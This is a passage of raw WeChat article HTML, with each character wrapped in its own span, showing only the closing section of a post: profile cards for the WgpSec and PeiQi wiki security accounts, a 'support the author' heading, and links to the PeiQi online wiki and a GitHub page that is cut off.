0px;">t</span></span></span><span data-raw-text="机" data-textnode-index-1653889638433="498" data-index-1653889638433="4669" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="机" data-textnode-index-1654579592493="1323" data-index-1654579592493="15006" class="character" style="margin: 0px;padding: 0px;">机</span></span></span><span data-raw-text="器" data-textnode-index-1653889638433="498" data-index-1653889638433="4670" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="器" data-textnode-index-1654579592493="1324" data-index-1654579592493="15007" class="character" style="margin: 0px;padding: 0px;">器</span></span></span><span data-raw-text="人" data-textnode-index-1653889638433="498" data-index-1653889638433="4671" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="人" data-textnode-index-1654579592493="1325" data-index-1654579592493="15008" class="character" style="margin: 0px;padding: 0px;">人</span></span></span><span data-raw-text="拉" data-textnode-index-1653889638433="498" data-index-1653889638433="4672" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="拉" data-textnode-index-1654579592493="1326" data-index-1654579592493="15009" class="character" style="margin: 0px;padding: 0px;">拉</span></span></span><span data-raw-text="你" data-textnode-index-1653889638433="498" data-index-1653889638433="4673" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="你" data-textnode-index-1654579592493="1327" data-index-1654579592493="15010" class="character" style="margin: 0px;padding: 0px;">你</span></span></span><span data-raw-text="啦" data-textnode-index-1653889638433="498" data-index-1653889638433="4674" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="啦" data-textnode-index-1654579592493="1328" data-index-1654579592493="15011" class="character" style="margin: 0px;padding: 0px;">啦</span></span></span><span data-raw-text="～" data-textnode-index-1653889638433="498" data-index-1653889638433="4675" class="character hover" style=" margin: 0px;padding: 0px; border-width: 0px;border-style: initial;border-color: initial;background-color: rgba(9, 187, 7, 0.31); "><span style="margin: 0px;padding: 0px;"><span data-raw-text="～" data-textnode-index-1654579592493="1329" data-index-1654579592493="15012" class="character" style="margin: 0px;padding: 0px;">～</span></span></span><br style="margin: 0px;padding: 0px;"/></code></pre><section class="mp_profile_iframe_wrp" style="margin: 16px auto;padding: 0px;display: block;font-size: 0px;text-align: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;white-space: normal;background-color: rgb(255, 255, 255);"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="2" style=" margin: 0px 1px;padding: 0px; display: inline-block;width: 896.086px; "></mpprofile></section><section class="mp_profile_iframe_wrp" style="margin: 16px auto;padding: 0px;display: block;font-size: 0px;text-align: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;white-space: normal;background-color: rgb(255, 255, 255);"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="2" style=" margin: 0px 1px;padding: 0px; display: inline-block;width: 896.086px; "></mpprofile></section><h2 data-tool="mdnice编辑器" style="margin: 20px 10px 0px 0px;padding: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"></h2><h2 data-tool="mdnice编辑器" style="margin: 20px 10px 0px 0px;padding: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="margin: 0px;padding: 0px 0px 0px 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="支" data-textnode-index-1653889638433="499" data-index-1653889638433="4676" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="支" data-textnode-index-1654579592493="1330" data-index-1654579592493="15013" class="character" style="margin: 0px;padding: 0px;">支</span></span></span><span data-raw-text="持" data-textnode-index-1653889638433="499" data-index-1653889638433="4677" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="持" data-textnode-index-1654579592493="1331" data-index-1654579592493="15014" class="character" style="margin: 0px;padding: 0px;">持</span></span></span><span data-raw-text="作" data-textnode-index-1653889638433="499" data-index-1653889638433="4678" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="作" data-textnode-index-1654579592493="1332" data-index-1654579592493="15015" class="character" style="margin: 0px;padding: 0px;">作</span></span></span><span data-raw-text="者" data-textnode-index-1653889638433="499" data-index-1653889638433="4679" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="者" data-textnode-index-1654579592493="1333" data-index-1654579592493="15016" class="character" style="margin: 0px;padding: 0px;">者</span></span></span></span></h2><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="margin: 20px auto;padding: 0px;max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;width: 900.594px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin: 20px 10px 0px 0px;padding: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="margin: 0px;padding: 0px 0px 0px 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="关" data-textnode-index-1653889638433="500" data-index-1653889638433="4680" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="关" data-textnode-index-1654579592493="1334" data-index-1654579592493="15017" class="character" style="margin: 0px;padding: 0px;">关</span></span></span><span data-raw-text="于" data-textnode-index-1653889638433="500" data-index-1653889638433="4681" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="于" data-textnode-index-1654579592493="1335" data-index-1654579592493="15018" class="character" style="margin: 0px;padding: 0px;">于</span></span></span><span data-raw-text="文" data-textnode-index-1653889638433="500" data-index-1653889638433="4682" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="文" data-textnode-index-1654579592493="1336" data-index-1654579592493="15019" class="character" style="margin: 0px;padding: 0px;">文</span></span></span><span data-raw-text="库" data-textnode-index-1653889638433="500" data-index-1653889638433="4683" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="库" data-textnode-index-1654579592493="1337" data-index-1654579592493="15020" class="character" style="margin: 0px;padding: 0px;">库</span></span></span></span></h2><pre data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin: 0px 0px -7px;padding: 0px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 900.594px;border-radius: 5px;"></span><code style="margin: 0px;padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;"><span data-raw-text="在" data-textnode-index-1653889638433="501" data-index-1653889638433="4684" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="在" data-textnode-index-1654579592493="1338" data-index-1654579592493="15021" class="character" style="margin: 0px;padding: 0px;">在</span></span></span><span data-raw-text="线" data-textnode-index-1653889638433="501" data-index-1653889638433="4685" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="线" data-textnode-index-1654579592493="1339" data-index-1654579592493="15022" class="character" style="margin: 0px;padding: 0px;">线</span></span></span><span data-raw-text="文" data-textnode-index-1653889638433="501" data-index-1653889638433="4686" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="文" data-textnode-index-1654579592493="1340" data-index-1654579592493="15023" class="character" style="margin: 0px;padding: 0px;">文</span></span></span><span data-raw-text="库" data-textnode-index-1653889638433="501" data-index-1653889638433="4687" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="库" data-textnode-index-1654579592493="1341" data-index-1654579592493="15024" class="character" style="margin: 0px;padding: 0px;">库</span></span></span><span data-raw-text=":" data-textnode-index-1653889638433="501" data-index-1653889638433="4688" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=":" data-textnode-index-1654579592493="1342" data-index-1654579592493="15025" class="character" style="margin: 0px;padding: 0px;">:</span></span></span><span data-raw-text=" " data-textnode-index-1653889638433="501" data-index-1653889638433="4689" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=" " data-textnode-index-1654579592493="1343" data-index-1654579592493="15026" class="character" style="margin: 0px;padding: 0px;"> </span></span></span><span data-raw-text="h" data-textnode-index-1653889638433="501" data-index-1653889638433="4690" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="h" data-textnode-index-1654579592493="1344" data-index-1654579592493="15027" class="character" style="margin: 0px;padding: 0px;">h</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="501" data-index-1653889638433="4691" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1345" data-index-1654579592493="15028" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="501" data-index-1653889638433="4692" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1346" data-index-1654579592493="15029" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="p" data-textnode-index-1653889638433="501" data-index-1653889638433="4693" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="p" data-textnode-index-1654579592493="1347" data-index-1654579592493="15030" class="character" style="margin: 0px;padding: 0px;">p</span></span></span><span data-raw-text=":" data-textnode-index-1653889638433="501" data-index-1653889638433="4694" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=":" data-textnode-index-1654579592493="1348" data-index-1654579592493="15031" class="character" style="margin: 0px;padding: 0px;">:</span></span></span><span data-raw-text="/" data-textnode-index-1653889638433="501" data-index-1653889638433="4695" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="/" data-textnode-index-1654579592493="1349" data-index-1654579592493="15032" class="character" style="margin: 0px;padding: 0px;">/</span></span></span><span data-raw-text="/" data-textnode-index-1653889638433="501" data-index-1653889638433="4696" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="/" data-textnode-index-1654579592493="1350" data-index-1654579592493="15033" class="character" style="margin: 0px;padding: 0px;">/</span></span></span><span data-raw-text="w" data-textnode-index-1653889638433="501" data-index-1653889638433="4697" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="w" data-textnode-index-1654579592493="1351" data-index-1654579592493="15034" class="character" style="margin: 0px;padding: 0px;">w</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4698" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1352" data-index-1654579592493="15035" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="k" data-textnode-index-1653889638433="501" data-index-1653889638433="4699" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="k" data-textnode-index-1654579592493="1353" data-index-1654579592493="15036" class="character" style="margin: 0px;padding: 0px;">k</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4700" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1354" data-index-1654579592493="15037" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="." data-textnode-index-1653889638433="501" data-index-1653889638433="4701" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="." data-textnode-index-1654579592493="1355" data-index-1654579592493="15038" class="character" style="margin: 0px;padding: 0px;">.</span></span></span><span data-raw-text="p" data-textnode-index-1653889638433="501" data-index-1653889638433="4702" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="p" data-textnode-index-1654579592493="1356" data-index-1654579592493="15039" class="character" style="margin: 0px;padding: 0px;">p</span></span></span><span data-raw-text="e" data-textnode-index-1653889638433="501" data-index-1653889638433="4703" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="e" data-textnode-index-1654579592493="1357" data-index-1654579592493="15040" class="character" style="margin: 0px;padding: 0px;">e</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4704" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1358" data-index-1654579592493="15041" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="q" data-textnode-index-1653889638433="501" data-index-1653889638433="4705" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="q" data-textnode-index-1654579592493="1359" data-index-1654579592493="15042" class="character" style="margin: 0px;padding: 0px;">q</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4706" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1360" data-index-1654579592493="15043" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="." data-textnode-index-1653889638433="501" data-index-1653889638433="4707" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="." data-textnode-index-1654579592493="1361" data-index-1654579592493="15044" class="character" style="margin: 0px;padding: 0px;">.</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="501" data-index-1653889638433="4708" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1362" data-index-1654579592493="15045" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="e" data-textnode-index-1653889638433="501" data-index-1653889638433="4709" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="e" data-textnode-index-1654579592493="1363" data-index-1654579592493="15046" class="character" style="margin: 0px;padding: 0px;">e</span></span></span><span data-raw-text="c" data-textnode-index-1653889638433="501" data-index-1653889638433="4710" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="c" data-textnode-index-1654579592493="1364" data-index-1654579592493="15047" class="character" style="margin: 0px;padding: 0px;">c</span></span></span><span data-raw-text="h" data-textnode-index-1653889638433="501" data-index-1653889638433="4711" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="h" data-textnode-index-1654579592493="1365" data-index-1654579592493="15048" class="character" style="margin: 0px;padding: 0px;">h</span></span></span><br style="margin: 0px;padding: 0px;"/><span data-raw-text="G" data-textnode-index-1653889638433="502" data-index-1653889638433="4712" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="G" data-textnode-index-1654579592493="1366" data-index-1654579592493="15049" class="character" style="margin: 0px;padding: 0px;">G</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4713" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1367" data-index-1654579592493="15050" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4714" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1368" data-index-1654579592493="15051" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="h" data-textnode-index-1653889638433="502" data-index-1653889638433="4715" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="h" data-textnode-index-1654579592493="1369" data-index-1654579592493="15052" class="character" style="margin: 0px;padding: 0px;">h</span></span></span><span data-raw-text="u" data-textnode-index-1653889638433="502" data-index-1653889638433="4716" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="u" data-textnode-index-1654579592493="1370" data-index-1654579592493="15053" class="character" style="margin: 0px;padding: 0px;">u</span></span></span><span data-raw-text="b" data-textnode-index-1653889638433="502" data-index-1653889638433="4717" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="b" data-textnode-index-1654579592493="1371" data-index-1654579592493="15054" class="character" style="margin: 0px;padding: 0px;">b</span></span></span><span data-raw-text=":" data-textnode-index-1653889638433="502" data-index-1653889638433="4718" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=":" data-textnode-index-1654579592493="1372" data-index-1654579592493="15055" class="character" style="margin: 0px;padding: 0px;">:</span></span></span><span data-raw-text=" " data-textnode-index-1653889638433="502" data-index-1653889638433="4719" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=" " data-textnode-index-1654579592493="1373" data-index-1654579592493="15056" class="character" style="margin: 0px;padding: 0px;"> </span></span></span><span data-raw-text="h" data-textnode-index-1653889638433="502" data-index-1653889638433="4720" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="h" data-textnode-index-1654579592493="1374" data-index-1654579592493="15057" class="character" style="margin: 0px;padding: 0px;">h</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4721" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1375" data-index-1654579592493="15058" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4722" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1376" data-index-1654579592493="15059" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="p" data-textnode-index-1653889638433="502" data-index-1653889638433="4723" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="p" data-textnode-index-1654579592493="1377" data-index-1654579592493="15060" class="character" style="margin: 0px;padding: 0px;">p</span></span></span><span data-raw-text="s" data-textnode-index-1653889638433="502" data-index-1653889638433="4724" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="s" data-textnode-index-1654579592493="1378" data-index-1654579592493="15061" class="character" style="margin: 0px;padding: 0px;">s</span></span></span><span data-raw-text=":" data-textnode-index-1653889638433="502" data-index-1653889638433="4725" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text=":" data-textnode-index-1654579592493="1379" data-index-1654579592493="15062" class="character" style="margin: 0px;padding: 0px;">:</span></span></span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4726" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="/" data-textnode-index-1654579592493="1380" data-index-1654579592493="15063" class="character" style="margin: 0px;padding: 0px;">/</span></span></span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4727" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="/" data-textnode-index-1654579592493="1381" data-index-1654579592493="15064" class="character" style="margin: 0px;padding: 0px;">/</span></span></span><span data-raw-text="g" data-textnode-index-1653889638433="502" data-index-1653889638433="4728" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="g" data-textnode-index-1654579592493="1382" data-index-1654579592493="15065" class="character" style="margin: 0px;padding: 0px;">g</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4729" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1383" data-index-1654579592493="15066" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4730" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1384" data-index-1654579592493="15067" class="character" style="margin: 0px;padding: 0px;">t</span></span></span><span data-raw-text="h" data-textnode-index-1653889638433="502" data-index-1653889638433="4731" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="h" data-textnode-index-1654579592493="1385" data-index-1654579592493="15068" class="character" style="margin: 0px;padding: 0px;">h</span></span></span><span data-raw-text="u" data-textnode-index-1653889638433="502" data-index-1653889638433="4732" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="u" data-textnode-index-1654579592493="1386" data-index-1654579592493="15069" class="character" style="margin: 0px;padding: 0px;">u</span></span></span><span data-raw-text="b" data-textnode-index-1653889638433="502" data-index-1653889638433="4733" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="b" data-textnode-index-1654579592493="1387" data-index-1654579592493="15070" class="character" style="margin: 0px;padding: 0px;">b</span></span></span><span data-raw-text="." data-textnode-index-1653889638433="502" data-index-1653889638433="4734" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="." data-textnode-index-1654579592493="1388" data-index-1654579592493="15071" class="character" style="margin: 0px;padding: 0px;">.</span></span></span><span data-raw-text="c" data-textnode-index-1653889638433="502" data-index-1653889638433="4735" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="c" data-textnode-index-1654579592493="1389" data-index-1654579592493="15072" class="character" style="margin: 0px;padding: 0px;">c</span></span></span><span data-raw-text="o" data-textnode-index-1653889638433="502" data-index-1653889638433="4736" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="o" data-textnode-index-1654579592493="1390" data-index-1654579592493="15073" class="character" style="margin: 0px;padding: 0px;">o</span></span></span><span data-raw-text="m" data-textnode-index-1653889638433="502" data-index-1653889638433="4737" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="m" data-textnode-index-1654579592493="1391" data-index-1654579592493="15074" class="character" style="margin: 0px;padding: 0px;">m</span></span></span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4738" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="/" data-textnode-index-1654579592493="1392" data-index-1654579592493="15075" class="character" style="margin: 0px;padding: 0px;">/</span></span></span><span data-raw-text="P" data-textnode-index-1653889638433="502" data-index-1653889638433="4739" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="P" data-textnode-index-1654579592493="1393" data-index-1654579592493="15076" class="character" style="margin: 0px;padding: 0px;">P</span></span></span><span data-raw-text="e" data-textnode-index-1653889638433="502" data-index-1653889638433="4740" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="e" data-textnode-index-1654579592493="1394" data-index-1654579592493="15077" class="character" style="margin: 0px;padding: 0px;">e</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4741" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1395" data-index-1654579592493="15078" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="Q" data-textnode-index-1653889638433="502" data-index-1653889638433="4742" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="Q" data-textnode-index-1654579592493="1396" data-index-1654579592493="15079" class="character" style="margin: 0px;padding: 0px;">Q</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4743" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1397" data-index-1654579592493="15080" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="0" data-textnode-index-1653889638433="502" data-index-1653889638433="4744" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="0" data-textnode-index-1654579592493="1398" data-index-1654579592493="15081" class="character" style="margin: 0px;padding: 0px;">0</span></span></span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4745" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="/" data-textnode-index-1654579592493="1399" data-index-1654579592493="15082" class="character" style="margin: 0px;padding: 0px;">/</span></span></span><span data-raw-text="P" data-textnode-index-1653889638433="502" data-index-1653889638433="4746" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="P" data-textnode-index-1654579592493="1400" data-index-1654579592493="15083" class="character" style="margin: 0px;padding: 0px;">P</span></span></span><span data-raw-text="e" data-textnode-index-1653889638433="502" data-index-1653889638433="4747" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="e" data-textnode-index-1654579592493="1401" data-index-1654579592493="15084" class="character" style="margin: 0px;padding: 0px;">e</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4748" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="i" data-textnode-index-1654579592493="1402" data-index-1654579592493="15085" class="character" style="margin: 0px;padding: 0px;">i</span></span></span><span data-raw-text="Q" data-textnode-index-1653889638433="502" data-index-1653889638433="4749" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="Q" data-textnode-index-1654579592493="1403" data-index-1654579592493="15086" class="character" style="margin: 0px;padding: 0px;">Q</span></span></span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4750" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 